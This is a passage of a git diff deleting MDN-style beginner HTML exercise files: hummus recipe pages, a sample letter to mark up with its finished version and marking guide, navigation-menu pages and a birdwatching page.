-            <li>Add all the ingredients into a food processor.</li>
-            <li>Process all the ingredients into a paste.</li>
-            <li>If you want a coarse "chunky" hummus, process it for a short time.</li>
-            <li>If you want a smooth hummus, process it for a longer time.</li>
-        </ol>
-
-        <p>
-            For a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or
-            spinach and feta cheese. Experiment and see what works for you.
-        </p>
-
-        <h2>Storage</h2>
-
-        <p>
-            Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you've made it. If it starts to become
-            fizzy, you should definitely discard it.
-        </p>
-
-        <p>hummus is suitable for freezing; you should thaw it and use it within a couple of months.</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/html-text-formatting/text-start.html b/docs/content/learning-area/html/introduction-to-html/html-text-formatting/text-start.html
deleted file mode 100644
index 8046b6908f..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/html-text-formatting/text-start.html
+++ /dev/null
@@ -1,19 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Quick hummus recipe</title>
-    </head>
-
-    <body>
-        Quick hummus recipe This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over
-        the years. Hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta
-        breads. Ingredients 1 can (400g) of chick peas (garbanzo beans) 175g of tahini 6 sundried tomatoes Half a red pepper A pinch of cayenne pepper 1 clove
-        of garlic A dash of olive oil Instructions Remove the skin from the garlic, and chop coarsely Remove all the seeds and stalk from the pepper, and chop
-        coarsely Add all the ingredients into a food processor Process all the ingredients into a paste. If you want a coarse "chunky" hummus, process it for a
-        short time If you want a smooth hummus, process it for a longer time For a different flavour, you could try blending in a small measure of lemon and
-        coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. Experiment and see what works for you. Storage Refrigerate the
-        finished hummus in a sealed container. You should be able to use it for about a week after you've made it. If it starts to become fizzy, you should
-        definitely discard it. Hummus is suitable for freezing; you should thaw it and use it within a couple of months.
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-finished/index.html b/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-finished/index.html
deleted file mode 100644
index c90ad01855..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-finished/index.html
+++ /dev/null
@@ -1,155 +0,0 @@
-<!DOCTYPE html>
-<html lang="en-US">
-    <head>
-        <meta charset="utf-8" />
-        <meta name="author" content="Dr. Eleanor Gaye" />
-        <title>Awesome science application correspondance</title>
-        <style>
-            body {
-                max-width: 800px;
-                margin: 0 auto;
-            }
-
-            .sender-column {
-                text-align: right;
-            }
-
-            h1 {
-                font-size: 1.5em;
-            }
-
-            h2 {
-                font-size: 1.3em;
-            }
-
-            p,
-            ul,
-            ol,
-            dl,
-            address {
-                font-size: 1.1em;
-            }
-
-            p,
-            li,
-            dd,
-            dt,
-            address {
-                line-height: 1.5;
-            }
-        </style>
-    </head>
-
-    <body>
-        <address class="sender-column">
-            <strong>Dr. Eleanor Gaye</strong><br />
-            Awesome Science faculty<br />
-            University of Awesome<br />
-            Bobtown, CA 99999,<br />
-            USA<br />
-            <strong>Tel</strong>: 123-456-7890<br />
-            <strong>Email</strong>: no_reply@example.com
-        </address>
-
-        <p class="sender-column"><time datetime="2016-01-20">20 January 2016</time></p>
-
-        <address>
-            <strong>Miss Eileen Dover</strong><br />
-            4321 Cliff Top Edge<br />
-            Dover, CT9 XXX<br />
-            UK
-        </address>
-
-        <h1>Re: Eileen Dover university application</h1>
-
-        <p>Dear Eileen,</p>
-
-        <p>
-            Thank you for your recent application to join us at the University of Awesome's science faculty to study as part of your
-            <abbr title="Doctor of Philosophy">PhD</abbr> next year. I will answer your questions one by one, in the following sections.
-        </p>
-
-        <h2>Starting dates</h2>
-
-        <p>
-            We are happy to accommodate you starting your study with us at any time, however it would suit us better if you could start at the beginning of a
-            semester; the start dates for each one are as follows:
-        </p>
-
-        <ul>
-            <li>First semester: <time datetime="2016-09-09">9 September 2016</time></li>
-            <li>Second semester: <time datetime="2017-01-15">15 January 2017</time></li>
-            <li>Third semester: <time datetime="2017-05-02">2 May 2017</time></li>
-        </ul>
-
-        <p>Please let me know if this is ok, and if so which start date you would prefer.</p>
-
-        <p>
-            You can find more information about
-            <a href="http://www.example.com" title="table of awesome university important dates">important university dates</a>
-            on our website.
-        </p>
-
-        <h2>Subjects of study</h2>
-
-        <p>
-            At the Awesome Science Faculty, we have a pretty open-minded research facility — as long as the subjects fall somewhere in the realm of science and
-            technology. You seem like an intelligent, dedicated researcher, and just the kind of person we'd like to have on our team. Saying that, of the ideas
-            you submitted we were most intrigued by are as follows, in order of priority:
-        </p>
-
-        <ol>
-            <li>Turning H<sub>2</sub>O into wine, and the health benefits of Resveratrol (C<sub>14</sub>H<sub>12</sub>O<sub>3</sub>.)</li>
-            <li>
-                Measuring the effect on performance of funk bassplayers at temperatures exceeding 30°C (86°F), when the audience size exponentially increases
-                (effect of 3 × 10<sup>3</sup> increasing to 3 × 10<sup>4</sup>.)
-            </li>
-            <li>
-                <abbr title="HyperText Markup Language">HTML</abbr> and <abbr title="Cascading Style Sheets">CSS</abbr> constructs for representing musical
-                scores.
-            </li>
-        </ol>
-
-        <p>
-            So please can you provide more information on each of these subjects, including how long you'd expect the research to take, required staff and other
-            resources, and anything else you think we'd need to know? Thanks.
-        </p>
-
-        <h2>Exotic dance moves</h2>
-
-        <p>
-            Yes, you are right! As part of my post-doctorate work, I <em>did</em> study exotic tribal dances. To answer your question, my favourite dances are
-            as follows, with definitions:
-        </p>
-
-        <dl>
-            <dt>Polynesian chicken dance</dt>
-            <dd>
-                A little known but <em>very</em> influential dance dating back as far as 300<abbr title="Before Christ">BC</abbr>, a whole village would dance
-                around in a circle like chickens, to encourage their livestock to be "fruitful".
-            </dd>
-            <dt>Icelandic brownian shuffle</dt>
-            <dd>
-                Before the Icelanders developed fire as a means of getting warm, they used to practice this dance, which involved huddling close together in a
-                circle on the floor, and shuffling their bodies around in imperceptibly tiny, very rapid movements. One of my fellow students used to say that
-                he thought this dance inspired modern styles such as Twerking.
-            </dd>
-            <dt>Arctic robot dance</dt>
-            <dd>
-                An interesting example of historic misinformation, English explorers in the 1960s believed to have discovered a new dance style characterised by
-                "robotic", stilted movements, being practiced by inhabitants of Northern Alaska and Canada. Later on however it was discovered that they were
-                just moving like this because they were really cold.
-            </dd>
-        </dl>
-
-        <p>For more of my research, see my <a href="http://www.example.com" title="Dr Gaye's exotic dance research">exotic dance research page</a>.</p>
-
-        <p>Yours sincerely,</p>
-
-        <p>Dr Eleanor Gaye</p>
-
-        <p>
-            University of Awesome motto: <q>Be awesome to each other.</q> -- <cite>The memoirs of Bill S Preston, <abbr title="Esquire">Esq</abbr></cite>
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-finished/marking-guide.md b/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-finished/marking-guide.md
deleted file mode 100644
index 5c54ae074c..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-finished/marking-guide.md
+++ /dev/null
@@ -1,84 +0,0 @@
-# Marking guide for "Marking up a letter"
-
-The following guide outlines a marking guide for the MDN Learning Area HTML Topic — [Marking up a letter](https://developer.mozilla.org/en-US/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter). Each subtask detailed in the assessment is listed below, along with an explanation of how many marks the task is worth, and the mark breakdown.
-
-Note: These are guidelines, not set in stone rules — you are of course free to use your judgement on mark awarding when you meet an edge case, or somethign that isn't clearly cut.
-
-The overall mark awarded is out of 45.5. Work out their final mark, and then divide by 45.5 and multiply by 100 to give a percentage mark. For reference, you can find a [finished marked up letter](index.html) that would be awarded top marks.
-
-## Block/structural semantics
-
-<dl>
-<dt>You should structure the overall document with an appropriate structure including doctype, and &lt;html&gt;, &lt;head&gt; and &lt;body&gt; elements (5 marks)</dt>
-<dd>They need to:
-<ul>
-  <li>Provide an HTML5 doctype (&lt;!doctype html&gt;, 1 mark)</li>
-  <li>Include a &lt;head&gt; element just below that (1 mark)</li>
-  <li>Wrap the content in a &lt;body&gt; element (1 mark)</li>
-  <li>Wrap head and body in an &lt;html&gt; element (1 mark)</li>
-  <li>You get one bonus mark for including a lang attribute in the &lt;html&gt; tag (1 mark)</li>
-</ul>
-</dd>
-<dt>The letter in general should be marked up with a structure of paragraphs and headings, with the exception of the below points. There is one top level heading (the "Re:" line) and two second level headings (6 marks)</dt>
-<dd>They need to:
-  <ul>
-  <li>Mark up the "Re:" line as an &lt;h1&gt; element (1 mark)</li>
-  <li>Mark up the "Starting dates", "Subjects of study" and "Exotic dance moves" as &lt;h2&gt; elements (3 marks)</li>
-  <li>Mark up all appropriate structural elements that shouldn't be headings or lists as paragraphs (2 marks)</li>
-</ul>
-</dd>
-<dt>The semester start dates, study subjects and exotic dances should be marked up using an appropriate list type (6 marks)</dt>
-<dd>This is fairly simple. Looking at the different lists and their context/usage, the reader should know to:
-<ul>
-  <li>Mark up the semester start dates as an unordered list (&lt;ul&gt;/&lt;li&gt;), or arguably an ordered list (&lt;ol&gt;/&lt;li&gt;) — either is ok (2 marks)</li>
-  <li>Mark up the study subjects as an ordered list (&lt;ol&gt;/&lt;li&gt;) (2 marks)</li>
-  <li>Mark up the exotic dances as a description list (&lt;dl&gt;/&lt;dd&gt;/&lt;dt&gt;) (2 marks)</li>
-</ul>
-</dd>
-<dt>The two addresses should be put inside <code>&lt;address&gt;</code> elements. Each line of the address should sit on a new line, but not be in a new paragraph. (3 marks)</dt>
-<dd>Wrap both of the addresses in an &lt;address&gt; element, and put a &lt;br&gt; element at the end of each line of the address, except for the last line in each case.</dd>
-</dl>
-
-## Inline semantics
-
-<dl>
-<dt>The names of the sender and receiver (and "Tel" and "Email") should be marked up with strong importance (2 marks, half a mark each)</dt>
-<dd>"Dr. Eleanor Gaye", "Miss Eileen Dover", "Tel", and "Email" should be wrapped in a &lt;strong&gt; element.</dd>
-<dt>The four dates in the document should be given appropriate elements containing machine-readable dates (2 marks, half a mark each)</dt>
-<dd>All four dates should be marked up using a &lt;time&gt; element. Each one should have a datetime attribute containing a machine readable date. For example &lt;time datetime="2016-01-20"&gt;20 January 2016&lt;/time&gt;</dd>
-<dt>The first address and first date in the letter should be given a class attribute value of "sender-column"; the CSS you'll add later will then cause these to be right aligned, as should be the case in a classic letter layout. (2 marks)</dt>
-<dd>The first &lt;p&gt; element in the document should be given an attribute of class="sender-column"; the first date should be wrapped in a &lt;p&gt;, which should also be given the class="sender-column" attribute.</dd>
-<dt>The five acronyms/abbreviations in the main text of the letter should be marked up to provide expansions of each acronym/abbreviation. (2.5 marks, half a mark each)</dt>
-<dd>Each acronym/abbreviation in the main text of the letter — "PhD", "HTML", "CSS", "BC" and "Esq" — should be wrapped in an &lt;abbr&gt; element with a title attribute, for example &lt;abbr title="Cascading Style Sheets"&gt;CSS&lt;/abbr&gt;</dd>
-<dt>The six sub/superscripts should be marked up appropriately (3 marks, half a mark each).</dt>
-<dd>The four numbers in the chemical formulae should be wrapped in a &lt;sub&gt; element, e.g. H&lt;sub&gt;2&lt;/sub&gt;O. The rightmost number in both exponential expressions should be wrapped in a &lt;sup&gt; element, e.g. 10&lt;sup&gt;3&lt;/sup&gt;.</dd>
-<dt>Try to mark up at least two appropriate words in the text with strong importance/emphasis (1 mark, half a mark each)</dt>
-<dd>This is very open to interpretation; anything that seems appropriate should be fine.</dd>
-<dt>There are two places where a hyperlink should be added; add appropriate links with titles. For the location that the links point to, just use http://example.com (4 marks)</dt>
-<dd>
-  The two places should have an &lt;a&gt; element wrapped around reasonable words to make the link. Each element should have an href attribute pointing to a dummy URL, such as "http://www.example.com" or "*", and a title attribute that describes what the link should point to. Half a mark should be taken off if the link text is inappropriate, and/or attributes are missing.
-  <ul>
-    <li>First instance: something like &lt;a href="http://www.example.com" title="table of awesome university important dates"&gt;important university dates&lt;/a&gt;</li>
-    <li>Second instance: something like &lt;a href="http://www.example.com" title="Dr Gaye's exotic dance research"&gt;exotic dance research page&lt;/a&gt;</li>
-  </ul>
-</dd>
-<dt>The university motto quote and citation should be marked up with appropriate elements (2 marks)</dt>
-<dd>"Be excellent to each other" should be wrapped in a &lt;q&gt; element, and "The memoirs of Bill S Preston, Esq" should be wrapped in a &lt;cite&gt; element</dd>
-</dl>
-
-## The head of the document
-
-<dl>
-  <dt>The character set of the document should be specified as utf-8 using an appropriate meta tag (1 mark)</dt>
-  <dd>The answer should be &lt;meta charset="utf-8"&gt; or equivalent, included inside the &lt;head&gt; element.</dd>
-  <dt>The author of the letter should be specified in an appropriate meta tag (1 mark)</dt>
-  <dd>The answer should be something like &lt;meta name="author" content="Dr. Eleanor Gaye"&gt;, included inside the &lt;head&gt; element.</dd>
-  <dt>The provided CSS should be included inside an appropriate tag (2 marks)</dt>
-  <dd>The CSS from the provided CSS file should be pasted inside a &lt;style&gt; element, included inside the &lt;head&gt; element. OR, it would also be acceptable (in fact better) if the student put the CSS inside an external CSS file and linked it via a &lt;link&gt; element.</dd>
-</dl>
-
-## Other tasks
-
-<dl>
-<dt>You'll get bonus points if it validates as much as possible (2 marks.)</dt>
-<dd>If the student's code validates, apart from the Google Font link element, they get the marks.</dd>
diff --git a/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-start/css.txt b/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-start/css.txt
deleted file mode 100644
index 04b0f98749..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-start/css.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-body {
-  max-width: 800px;
-  margin: 0 auto;
-}
-
-.sender-column {
-  text-align: right;
-}
-
-h1 {
-  font-size: 1.5em;
-}
-
-h2 {
-  font-size: 1.3em;
-}
-
-p,ul,ol,dl,address {
-  font-size: 1.1em;
-}
-
-p, li, dd, dt, address {
-  line-height: 1.5;
-}
diff --git a/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt b/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt
deleted file mode 100644
index 1888496747..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt
+++ /dev/null
@@ -1,63 +0,0 @@
-Dr. Eleanor Gaye
-Awesome Science faculty
-University of Awesome
-Bobtown, CA 99999,
-USA
-Tel: 123-456-7890
-Email: no_reply@example.com
-
-20 January 2016
-
-Miss Eileen Dover
-4321 Cliff Top Edge
-Dover, CT9 XXX
-UK
-
-
-Re: Eileen Dover university application
-
-Dear Eileen,
-
-Thank you for your recent application to join us at the University of Awesome's science faculty to study as part of your PhD next year. I will answer your questions one by one, in the following sections.
-
-Starting dates
-
-We are happy to accommodate you starting your study with us at any time, however it would suit us better if you could start at the beginning of a semester; the start dates for each one are as follows:
-
-First semester: 9 September 2016
-Second semester: 15 January 2017
-Third semester: 2 May 2017
-
-Please let me know if this is ok, and if so which start date you would prefer.
-
-You can find more information about important university dates on our website.
-
-
-Subjects of study
-
-At the Awesome Science Faculty, we have a pretty open-minded research facility — as long as the subjects fall somewhere in the realm of science and technology. You seem like an intelligent, dedicated researcher, and just the kind of person we'd like to have on our team. Saying that, of the ideas you submitted we were most intrigued by are as follows, in order of priority:
-
-Turning H2O into wine, and the health benefits of Resveratrol (C14H12O3.)
-Measuring the effect on performance of funk bassplayers at temperatures exceeding 30°C (86°F), when the audience size exponentially increases (effect of 3 × 103 increasing to 3 × 104.)
-HTML and CSS constructs for representing musical scores.
-
-So please can you provide more information on each of these subjects, including how long you'd expect the research to take, required staff and other resources, and anything else you think we'd need to know? Thanks.
-
-
-Exotic dance moves
-
-Yes, you are right! As part of my post-doctorate work, I did study exotic tribal dances. To answer your question, my favourite dances are as follows, with definitions:
-
-Polynesian chicken dance
-A little known but very influential dance dating back as far as 300BC, a whole village would dance around in a circle like chickens, to encourage their livestock to be "fruitful".
-Icelandic brownian shuffle
-Before the Icelanders developed fire as a means of getting warm, they used to practice this dance, which involved huddling close together in a circle on the floor, and shuffling their bodies around in imperceptibly tiny, very rapid movements. One of my fellow students used to say that he thought this dance inspired modern styles such as Twerking.
-Arctic robot dance
-An interesting example of historic misinformation, English explorers in the 1960s believed to have discovered a new dance style characterized by "robotic", stilted movements, being practiced by inhabitants of Northern Alaska and Canada. Later on however it was discovered that they were just moving like this because they were really cold.
-
-For more of my research, see my exotic dance research page.
-
-Yours sincerely,
-Dr Eleanor Gaye
-
-University of Awesome motto: "Be awesome to each other." -- The memoirs of Bill S Preston, Esq
diff --git a/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/index.html b/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/index.html
deleted file mode 100644
index 228e7cb69d..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Homepage</title>
-    </head>
-
-    <body>
-        <!-- put navigation menu just below here -->
-
-        <ul>
-            <li>Home</li>
-            <li><a href="pictures.html">Pictures</a></li>
-            <li><a href="projects.html">Projects</a></li>
-            <li><a href="social.html">Social</a></li>
-        </ul>
-
-        <h1>Homepage</h1>
-
-        <p>Welcome to my exciting homepage</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/pictures.html b/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/pictures.html
deleted file mode 100644
index adb0af2631..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/pictures.html
+++ /dev/null
@@ -1,22 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Pictures</title>
-    </head>
-
-    <body>
-        <!-- put navigation menu just below here -->
-
-        <ul>
-            <li><a href="index.html">Home</a></li>
-            <li>Pictures</li>
-            <li><a href="projects.html">Projects</a></li>
-            <li><a href="social.html">Social</a></li>
-        </ul>
-
-        <h1>Pictures</h1>
-
-        <p>My pictures will go here, when I start taking some.</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/projects.html b/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/projects.html
deleted file mode 100644
index 2da728046d..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/projects.html
+++ /dev/null
@@ -1,22 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Projects</title>
-    </head>
-
-    <body>
-        <!-- put navigation menu just below here -->
-
-        <ul>
-            <li><a href="index.html">Home</a></li>
-            <li><a href="pictures.html">Pictures</a></li>
-            <li>Projects</li>
-            <li><a href="social.html">Social</a></li>
-        </ul>
-
-        <h1>My projects</h1>
-
-        <p>Welcome to my project page, showing what exciting things I am currently doing.</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/social.html b/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/social.html
deleted file mode 100644
index cbda55f00e..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/navigation-menu-marked-up/social.html
+++ /dev/null
@@ -1,22 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Social</title>
-    </head>
-
-    <body>
-        <!-- put navigation menu just below here -->
-
-        <ul>
-            <li><a href="index.html">Home</a></li>
-            <li><a href="pictures.html">Pictures</a></li>
-            <li><a href="projects.html">Projects</a></li>
-            <li>Social</li>
-        </ul>
-
-        <h1>Social media</h1>
-
-        <p>Welcome to my social media page. I am currently antisocial, but will start putting my social media widgets on here when the time is right.</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/index.html b/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/index.html
deleted file mode 100644
index e879cf4308..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/index.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Homepage</title>
-    </head>
-
-    <body>
-        <!-- put navigation menu just below here -->
-
-        <h1>Homepage</h1>
-
-        <p>Welcome to my exciting homepage</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/pictures.html b/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/pictures.html
deleted file mode 100644
index a36bf4605e..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/pictures.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Pictures</title>
-    </head>
-
-    <body>
-        <!-- put navigation menu just below here -->
-
-        <h1>Pictures</h1>
-
-        <p>My pictures will go here, when I start taking some.</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/projects.html b/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/projects.html
deleted file mode 100644
index 1f6d56ac2f..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/projects.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Projects</title>
-    </head>
-
-    <body>
-        <!-- put navigation menu just below here -->
-
-        <h1>My projects</h1>
-
-        <p>Welcome to my project page, showing what exciting things I am currently doing.</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/social.html b/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/social.html
deleted file mode 100644
index 8e43a9838b..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/navigation-menu-start/social.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Social</title>
-    </head>
-
-    <body>
-        <!-- put navigation menu just below here -->
-
-        <h1>Social media</h1>
-
-        <p>Welcome to my social media page. I am currently antisocial, but will start putting my social media widgets on here when the time is right.</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/dove.png b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/dove.png
deleted file mode 100644
index 6af46efdd4..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/dove.png and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-.jpg b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-.jpg
deleted file mode 100644
index 3f2a96ceae..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-.jpg and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-1_th.jpg b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-1_th.jpg
deleted file mode 100644
index 35403a8cd1..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-1_th.jpg and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-2.jpg b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-2.jpg
deleted file mode 100644
index b841943c32..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-2.jpg and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-2_th.jpg b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-2_th.jpg
deleted file mode 100644
index 2813aa4638..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-2_th.jpg and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-3.jpg b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-3.jpg
deleted file mode 100644
index a0852b9e9a..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-3.jpg and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-3_th.jpg b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-3_th.jpg
deleted file mode 100644
index a396b1adb2..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-3_th.jpg and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-4.jpg b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-4.jpg
deleted file mode 100644
index b5a8d14812..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-4.jpg and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-4_th.jpg b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-4_th.jpg
deleted file mode 100644
index 37114d4ee9..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/favorite-4_th.jpg and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/index.html b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/index.html
deleted file mode 100644
index 40ee841514..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Birdwatching</title>
-        <link href="https://fonts.googleapis.com/css?family=Roboto+Condensed:300|Cinzel+Decorative:700" rel="stylesheet" />
-        <link rel="stylesheet" href="style.css" />
-
-        <!--[if lt IE 9]>
-            <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
-        <![endif]-->
-    </head>
-
-    <body>
-        <header>
-            <h1>Birdwatching</h1>
-            <img src="dove.png" alt="a simple dove logo" />
-
-            <nav>
-                <ul>
-                    <li><span>Home</span></li>
-                    <li><a href="#">Get started</a></li>
-                    <li><a href="#">Photos</a></li>
-                    <li><a href="#">Gear</a></li>
-                    <li><a href="#">Forum</a></li>
-                </ul>
-            </nav>
-        </header>
-
-        <main>
-            <article>
-                <h2>Welcome</h2>
-
-                <p>
-                    Welcome to our fake birdwatching site. If this were a real site, it would be the ideal place to come to learn more about birdwatching,
-                    whether you are a beginner looking to learn how to get into birding, or an expert wanting to share ideas, tips, and photos with other
-                    like-minded people.
-                </p>
-
-                <p>So don't waste time! Get what you need, then turn off that computer and get out into the great outdoors!</p>
-            </article>
-
-            <aside>
-                <h2>Favourite photos</h2>
-
-                <a href="favorite-1.jpg"
-                    ><img src="favorite-1_th.jpg" alt="Small black bird, black claws, long black slender beak, links to larger version of the image"
-                /></a>
-                <a href="favorite-2.jpg"
-                    ><img
-                        src="favorite-2_th.jpg"
-                        alt="Top half of a pretty bird with bright blue plumage on neck, light colored beak, blue headdress, links to larger version of the image"
-                /></a>
-                <a href="favorite-3.jpg"
-                    ><img
-                        src="favorite-3_th.jpg"
-                        alt="Top half of a large bird with white plumage, very long curved narrow light colored break, links to larger version of the image"
-                /></a>
-                <a href="favorite-4.jpg"
-                    ><img
-                        src="favorite-4_th.jpg"
-                        alt="Large bird, mostly white plumage with black plumage on back and rear, long straight white beak, links to larger version of the image"
-                /></a>
-            </aside>
-        </main>
-
-        <footer>
-            <p>This fake website example is CC0 — any part of this code may be reused in any way you wish. Original example written by Chris Mills, 2016.</p>
-
-            <p><a href="http://game-icons.net/lorc/originals/dove.html">Dove icon</a> by Lorc.</p>
-        </footer>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/marking-guide.md b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/marking-guide.md
deleted file mode 100644
index 456cbea310..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/marking-guide.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# Marking guide for "Structuring a page of content"
-
-The following guide outlines a marking guide for the MDN Learning Area HTML Topic — [Structuring a page of content](https://developer.mozilla.org/en-US/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content). Each subtask detailed in the assessment is listed below, along with an explanation of how many marks the task is worth.
-
-Note: These are guidelines, not set in stone rules — you are of course free to use your judgement on mark awarding when you meet an edge case, or something that isn't clearly cut.
-
-The overall mark awarded is out of 30. Work out their final mark, and then divide by 30 and multiply by 100 to give a percentage mark. For reference, you can find a [finished marked up page](index.html) that would be awarded top marks.
-
-## Block/structural semantics
-
-<dl>
-<dt>The header (4 marks.)</dt>
-<dd>They need to wrap the &lt;h1&gt;, first &lt;img&gt; and whole of the &lt;ul&gt; in a &lt;header&gt; element.</dd>
-<dt>The navigation menu (4 marks.)</dt>
-<dd>They need to wrap the &lt;ul&gt; in a &lt;nav&gt; element.</dd>
-<dt>The main content (4 marks.)</dt>
-<dd>They need to wrap both &lt;h2&gt;s, the first two &lt;p&gt;s and the last four &lt;img&gt;s in a &lt;main&gt; element.</dd>
-<dt>The welcome text (4 marks.)</dt>
